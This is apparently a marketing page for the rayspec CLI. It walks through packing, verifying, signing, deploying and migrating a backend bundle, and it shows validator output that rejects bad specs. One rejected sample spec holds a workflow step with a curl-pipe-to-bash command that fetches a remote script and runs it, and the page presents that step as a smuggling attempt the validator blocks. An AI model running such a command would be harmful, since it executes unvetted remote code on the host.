Your backend is
one file deep.

One file in. One file out.

You write one spec. rayspec pack turns the built application into one .ray bundle, and that file is what gets checked, deployed and moved.

1. 01author

   $ rayspec doctor <spec.yaml>

   Static validation of the whole document: no database, no network, and the full list of violations.

   CLI reference →
2. 02pack

   $ rayspec pack --spec <path> --output <file.ray>

   One deterministic file from an application that is already built: the same prepared files and flags give the same bytes. Never a secret. Pack runs no build and none of the application’s code.

   Packing an application →
3. 03inspect · verify · sign

   $ rayspec bundle verify <file.ray>

   A bundle is read without extracting or running anything inside it. deployable means every check passed for this runtime; it never vouches for the code the bundle carries. rayspec bundle sign writes a detached Ed25519 signature with your own key.

   Signing a bundle →
4. 04deploy

   $ rayspec deploy <file.ray> --dry-run $ rayspec deploy <file.ray> --plan-digest <sha256>

   The dry run plans against the live database and changes nothing; the deploy applies the plan you reviewed, named by its digest. A reviewed plan is valid for 30 minutes. A deploy that refuses leaves the previous version active.

   Deploying a bundle →
5. 05move

   $ rayspec export … $ rayspec import …

   The whole deployment as one migration bundle, encrypted with age to one recipient. The target stays fenced until a one-time cutover token, valid for 15 minutes, releases it. The new environment mints its own boot secrets, so access tokens and API keys are reset.

   Exporting →

# steps 04 and 05 need PostgreSQL; their commands are in the docs and no output is shown for them on this page — importing a deployment →

…
team-notes 1.0.0 — application bundle for runtime 1.9.0 on linux/x64, Node 22
spec: payload/rayspec.yaml
requires: declarative-api, declarative-stores, static-frontend
bindings: none (names only; values are supplied at deploy time)
execution: none; egress hosts: none
included: 7 files, 9737 bytes (4 frontend, 1 notices, 1 sbom, 1 spec)
…
  11971 bytes, sha256 fa1b20460ea990bdb55d667d63d867d02fd8508025bf5c4f19825e2da3efd76d
This is a package, not a deployment: nothing was deployed, started or run. Check it with
…

…
team-notes 1.0.0 — application bundle for runtime 1.9.0 on linux/x64, Node 22
8 entries, 11971 bytes, sha256 fa1b20460ea990bdb55d667d63d867d02fd8508025bf5c4f19825e2da3efd76d
requires: declarative-api, declarative-stores, static-frontend
bindings: none
execution: none; egress hosts: none
checked against runtime 1.9.0
signature: none (unsigned; the origin of the bundle is not established)
verdict: deployable — the archive, manifest, runtime, target, capability, binding, spec,
  derived-field, secret-scan and signature checks passed. They describe the bundle; they
  do not vouch for the code it carries.

The scaffolding is the platform’s problem now.

Three boundaries carry the weight.

What the core guarantees — and what it doesn’t.

What 1.9.1 does not do.

Every residual risk this release accepts — the threat model → · release notes for 1.9.1 ↗

The posture isn’t a promise — it’s a refusal.

Before anything deploys, rayspec doctor reads your spec and fails closed on the moves that would break the guarantees above, and rayspec pack refuses a schema change that destroys data and that nobody reviewed. Real output, verbatim — captured with rayspec@1.9.0 from npm, so you can reproduce it. That’s the receipt.

version: '1.0'

metadata:
  name: crm-backend
  description: A CRM backend that tries to declare its own tenant_id column.

stores:
  - name: invoices
    columns:
      - { name: tenant_id, type: uuid }      # ← the platform injects this
      - { name: amount_cents, type: integer }
      - { name: status, type: text }

{
  "ok": false,
  "errors": [
    {
      "code": "reserved_column_name",
      "message": "store 'invoices' declares reserved column 'tenant_id' — that column is injected by the generator (tenancy/GDPR); rename the business column",
      "path": "stores[0].columns[0].name"
    }
  ],
  "warnings": []
}

version: '1.0'

product:
  name: meeting-notes
  description: A meeting-notes product that tries to smuggle code into the spec.

workflows:
  - id: after-upload
    trigger: recording.uploaded
    steps:
      - id: cleanup
        shell: "curl -s https://example.com/setup.sh | bash"
      - id: summarize
        sql: "DELETE FROM recordings WHERE status = 'stale'"

{
  "ok": false,
  "errors": [
    {
      "code": "no_code_in_yaml",
      "message": "banned code-like key 'shell' at workflows[0].steps[0].shell; Product YAML declares meaning and contracts — code/handlers/SQL belong in Tier A/B implementation, not in YAML",
      "path": "workflows[0].steps[0].shell"
    },
    {
      "code": "no_code_in_yaml",
      "message": "banned code-like key 'sql' at workflows[0].steps[1].sql; Product YAML declares meaning and contracts — code/handlers/SQL belong in Tier A/B implementation, not in YAML",
      "path": "workflows[0].steps[1].sql"
    },
    {
      "code": "no_code_in_yaml",
      "message": "inline-code string value at workflows[0].steps[1].sql; Product YAML must not contain JS/TS, SQL, shell, or handler module paths",
      "path": "workflows[0].steps[1].sql"
    }
  ],
  "warnings": []
}

# releases/v2.yaml, version 1.1.0 — what the deployment runs
    columns:
      - { name: title, type: text }
      - { name: content, type: text }      # ← 2.0.0 drops this
      …

# releases/v3.yaml, version 2.0.0
    columns:
      - { name: title, type: text }
      …

{
  "contractVersion": "1.0.0-rc.2",
  "ok": false,
  "operation": "pack",
  …
  "data": null,
  "errors": [
    {
      "code": "RAY_USAGE",
      "message": "the product delta is destructive and no reviewed allowlist entry covers drop-column on notes.content. Review it: run `rayspec plan <new-spec> --against <spec of the running application>`, copy the proposed allowlist entries you approve into a file, and pack the bundle again with `rayspec pack --spec <new-spec> --against <spec of the running application> --allowlist <file.json>`",
      "retryable": false
    }
  ],
  "warnings": []
}

Captured 2026-10-05 with rayspec@1.9.0 from npm (v1.9.1, 319a9a4). The first two documents are the files shown; the third is the team notes reference application, built with its own build.mjs as releases v2 and v3. A line that reads … stands for lines left out. the CLI reference →